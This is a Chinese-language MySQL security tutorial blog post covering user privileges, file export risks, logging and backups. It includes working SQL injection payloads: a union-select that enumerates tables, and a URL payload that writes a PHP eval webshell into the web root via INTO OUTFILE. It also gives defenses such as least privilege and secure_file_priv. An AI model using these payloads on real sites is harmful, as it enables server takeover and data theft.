当前位置: 首页 > news >正文

网络安全基础——数据库MySQL3

网络安全基础——数据库MySQL3

注:网站id参数注入的payload还可为-1 union select 1,(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- a,可将数字填充到查询语句当中。

数据库用户、权限

数据库管理系统(DBMS)也有用户、权限的说法,DBMS的管理员用户为root。DBMS设置用户,为其赋予权限时必须遵循最小权限原则——满足工作需要的最小权限,例如给一个数据统计的用户只赋予查询数据的权限即可。数据库的权限包括读(select)、写(insert into,update)、删除(delete)、结构(create、alter、drop)、管理等。DBMS有一个mysql数据库,其中有user表,里面包含用户的相关信息。以下使用root用户进行用户和权限的相关操作:创建用户(create user 'aaa'@'localhost' identified by '123456'; #用户名@登陆主机,密码),查询用户(select User from mysql.user;)(之后可用该用户和密码进行登陆DBMS,新建用户没有过多权限,仅有information_schema、test库),为新用户赋予查询、新增、修改权限(grant select,insert,update on school.* to 'aaa'@'localhost'; #school代表库名,*代表所有表),刷新权限(flush privileges; #每次对权限进行相关操作后都要刷新权限),显示用户权限(show grants for 'aaa'@'localhost'; #结果可看到两条数据,第一条有usage权限——仅允许用户连接数据库,第二条有我们赋予的权限),撤销修改权限(revoke update on school.* from 'aaa'@'localhost';),修改用户密码(set password for 'aaa'@'localhost' = password('aaa'); #password()为加密密码函数,一般修改密码推荐使用复杂度高的密码组合,例如大小写字母+数字+特殊字符update mysql.user set password=pqssword('aaa') where User='aaa' and Host='localhost'; #一般将用户和主机名合并同时出现),修改用户登陆主机(update mysql.user set host='192.168.1.%' where User='aaa' and Host='localhost'; #%代表该网段的所有主机)('root'@'%'代表任意主机都可用root用户登陆,此为一个大漏洞)。(MySQL默认端口为3306)

文件导入、导出权限

文件导入——将外部数据读入数据库,文件导出——将数据库数据写入外部文件。此功能有一定的安全风险,其有三要素决定安全风险:给谁用、能用的范围、边界把关。给谁用:查看使用数据库的用户是否有file权限(MySQL允许账号操作服务器文件)。能用的范围:MySQL配置文件中有secure_file_priv变量(当此变量为空时,用户可以读写服务器任意目录的文件;当此变量为NULL时,完全禁止文件导入与导出;当此变量为具体路径时,用户可以读写服务器该路径的文件。)。边界把关:操作系统让你写入文件(在服务器上运行MySQL进程(mysqld.exe)的用户是否有写入文件的权限,使用Windows系统可以在任务管理器中查看,使用Linux系统可用ps -ef | grep mysqld查看)。满足此三要素后,攻击者便可通过最高权限用户通过SQL注入完成文件导出操作,例如一句话木马PHP文件<?php eval($_POST['cmd']); ?>。文件导出操作(select 'aaaa' into outfile 'd:/1.txt'; #前者为写入的字符串,后者为路径)。通过文件导出操作,通过SQL注入漏洞将恶意代码文件存在对方web服务器的根目录中,通过webshell控制对方服务器(原SQL语句为select "<?php eval($_POST['cmd']); ?>" into outfile "网站根目录路径\\a.php";,网址payload添加后为http://127.0.0.1/test/union.php?id=-1 union select 1,"<?php eval($_POST['cmd']); ?>",3,4,5,6 into outfile "网站根目录路径\\a.php" -- a),最后访问该PHP文件,为变量cmd输入值控制对方服务器。如何防御:控制三要素,只要一个条件不满足即可实现防御。

数据库防御

日志负责溯源,展示到底发生什么。数据库的日志有general_LOG,默认关闭,打开日志(set global general_log=on;),查看日志存储位置(show variables like 'general_log_file';)。

备份负责数据库系统崩溃后可将其“救”回来。命令行备份文件(mysqldump -u root -p school > school_backup.sql,之后输入密码),命令行恢复文件(mysql -u root -p school < school_backup.sql)。数据库备份要遵循321原则:3份备份——原始数据+至少两件备份;2种介质——本地硬盘+云存储;1份离线——移动硬盘。

注:以上均属个人理解,如有错误,请各位批评指正!

http://www.jsqmd.com/news/693857/

相关文章:

  • 电池充放电管理芯片IP5306
  • 数据管道构建抽取转换与加载
  • VSCode多智能体调试效率提升300%?揭秘微软内部未公开的multi-root workspace+Task Runner联调方案
  • 2026年移民公司排名及服务能力深度解析 - 品牌排行榜
  • 哔哩下载姬DownKyi:如何高效管理你的B站视频收藏库
  • BERT模型实战指南:从原理到部署优化
  • 怎样高效完成Windows系统激活:实用工具完整指南
  • 发电机组出租厂家推荐与行业趋势调研——2026年甘肃省电力租赁服务深度解析 - 深度智识库
  • C++26反射元编程性能调优:为什么你的`reflexpr(T).members()`让编译时间暴涨3.8×?3步精准定位+2行修复代码
  • 上海乐时宜实业:长宁工字钢批发厂家推荐 - LYL仔仔
  • 别只盯着find_shape_model!Halcon模板匹配的“下半场”:刚体变换与轮廓对齐实战详解
  • 保姆级教程:在Ubuntu18.04上为速腾16线雷达配置Fast-LIO2建图(含IMU标定与避坑)
  • 零基础能学自然拼读吗?线上直播、录播、AI 课、线下班哪种更好、怎么选?2026年实测对比不踩坑 - 资讯焦点
  • Happy Island Designer:开源岛屿设计工具,让创意轻松落地
  • Python实战:用NetworkX可视化TSP问题,手把手教你实现最邻近与插入算法
  • 2026年3月做得好的汽车改装店铺推荐,隔音降噪,营造安静驾乘环境 - 品牌推荐师
  • ESXi 环境 NFSv3 与 NFSv4.1 哪个更稳?深度对比 + 选型指南 + 运维全教程
  • HMA 8米DEM数据补洞实战:在ArcGIS Pro里如何平衡‘分辨率’与‘自然度’?
  • 贝叶斯优化算法原理与Python实现
  • 2026陕西房地产开发资质趋势洞察与机构测评 - 深度智识库
  • 2026学生行李箱选购指南|24寸vs26寸深度对比,5款高性价比爆款实测!
  • VNC连上了但GUI应用打不开?手把手教你解决DISPLAY环境变量问题(以Swingbench为例)
  • elb和F5有什么区别
  • macOS菜单栏革命:Ice如何帮你找回整洁的工作空间
  • TI IWR6843AOP雷达+DCA1000EVM数据采集:官方手册里的坑,我帮你踩完了
  • PDF批量加水印工具来啦
  • CUDA 13编译失败?显存泄漏?核函数崩溃?——AI工程师必须掌握的5大隐性陷阱及3步诊断协议
  • 如何用机器学习评估专利价值:3步实施专利权利要求广度分析实战指南
  • FireRedASR Pro未来展望:端侧部署与离线识别技术趋势
  • 2026移民机构哪家好?行业服务与口碑综合分析 - 品牌排行榜